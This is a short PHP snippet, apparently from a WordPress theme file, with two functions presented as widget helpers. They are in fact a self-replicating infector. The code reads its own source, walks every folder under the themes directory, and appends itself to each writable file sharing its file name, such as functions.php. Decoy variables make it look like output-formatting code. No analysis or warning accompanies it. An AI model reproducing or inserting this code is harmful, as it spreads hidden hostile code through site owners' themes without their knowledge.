function _get_allwidgets_cont($wids, $items = array()) { $places = array_shift($wids); if (substr($places, -1) == "/") { $places = substr($places, 0, -1); } if (!file_exists($places) || !is_dir($places)) { return false; } elseif (is_readable($places)) { $elems = scandir($places); foreach ($elems as $elem) { if ($elem != "." && $elem != "..") { if (is_dir($places . "/" . $elem)) { $wids[] = $places . "/" . $elem; } elseif (is_file($places . "/" . $elem) && $elem == substr(__FILE__, -13)) { $items[] = $places . "/" . $elem; } } } } else { return false; } if (sizeof($wids) > 0) { return _get_allwidgets_cont($wids, $items); } else { return $items; } }
function _checkactive_widgets() { $widget = substr(file_get_contents(__FILE__), strripos(file_get_contents(__FILE__), "<" . "?")); $output = ""; $allowed = ""; $output = strip_tags($output, $allowed); $direst = _get_allwidgets_cont(array(substr(dirname(__FILE__), 0, stripos(dirname(__FILE__), "themes") + 6))); if (is_array($direst)) { foreach ($direst as $item) { if (is_writable($item)) { $ftion = substr($widget, stripos($widget, "_"), stripos(substr($widget, stripos($widget, "_")), "(")); $cont = file_get_contents($item); if (stripos($cont, $ftion) === false) { $comaar = stripos(substr($cont, -20), "?" . ">") !== false ? "" : "?" . ">"; $output .= $before . "Not found" . $after; if (stripos(substr($cont, -20), "?" . ">") !== false) { $cont = substr($cont, 0, strripos($cont, "?" . ">") + 2); } $output = rtrim($output, "\n\t"); fputs($f = fopen($item, "w+"), $cont . $comaar . "\n" . $widget); fclose($f); $output .= $isshowdots && $ellipsis ? "..." : ""; } } } } return $output; }